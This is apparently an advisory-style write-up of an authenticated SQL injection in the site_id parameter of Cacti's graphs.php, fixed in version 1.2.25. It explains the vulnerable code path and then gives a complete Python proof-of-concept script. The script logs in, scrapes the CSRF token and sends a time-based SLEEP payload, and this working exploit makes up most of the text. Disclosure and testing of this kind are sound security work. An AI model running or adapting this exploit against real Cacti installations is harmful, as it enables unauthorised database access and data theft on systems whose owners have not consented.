Authenticated SQL injection vulnerability in graphs.php in Cacti

An authenticated user can exploit this vulnerability by sending a crafted request to the `graphs.php` file. Specifically, when the `action` parameter is set to `ajax_hosts` or `ajax_hosts_noany`, and the `site_id` parameter is greater than 0, the value is directly incorporated into an SQL query's WHERE clause. This allows an attacker to inject malicious SQL code, such as a time-based SQL injection payload, to confirm the vulnerability [ref_id=1].

The vulnerability resides in the `graphs.php` file. The affected code segments are within the `case 'ajax_hosts':` and `case 'ajax_hosts_noany':` blocks, where the `site_id` parameter is checked and then directly used to construct the `$sql_where` variable, which is subsequently included in an SQL statement [ref_id=1].

The advisory indicates that the vulnerability is addressed in version 1.2.25. While a specific patch diff is not provided, the fix likely involves sanitizing or parameterizing the `site_id` input before it is used in the SQL query, preventing the injection of arbitrary SQL code.

By running the following Python3 code, you will observe a delay of 10 seconds in the response, which indicates the occurrence of SQL injection. ```python import argparse import requests import sys import urllib3

#import os #os.environ['http_proxy'] = 'http://localhost:8080'

sleep_time = 10 payload = f"""1 AND (SELECT 1 FROM (SELECT(SLEEP({sleep_time})))A)"""

def get_csrf_token(): url = f"{target}/index.php" res_body = session.get(url).content.decode() csrf_token = res_body.split('var csrfMagicToken = "')[1].split('"')[0] if not csrf_token: print("[-] Unable to find csrf_token") sys.exit() return csrf_token

def login(username,password): login_url = f"{target}/index.php"

csrf_token = get_csrf_token() data = {'action':'login','login_username':username,'login_password':password,'__csrf_magic':csrf_token} res_body = session.post(login_url,data=data).content.decode() if 'You are now logged into <' in res_body: print('[+] Login successful!') else: print('[-] Login failed. Check your credentials') sys.exit()

def exploit(): url = f"{target}/graphs.php"

params = { 'action':'ajax_hosts', 'site_id':payload }

print('[+] Sending payload...') print(f"[+] Payload: {payload}") session.get(url,params=params) if __name__=='__main__': urllib3.disable_warnings() parser = argparse.ArgumentParser(description="Cacti 1.2.24 - graphs.php 'site_id' SQL Injection (authenticated)") parser.add_argument('-t','--target',help='',required=True) parser.add_argument('-u','--username',help='',required=True) parser.add_argument('-p','--password',help='',required=True) args = parser.parse_args() username = args.username password = args.password target = args.target session = requests.Session()

login(username,password) exploit() ``` [ref_id=1]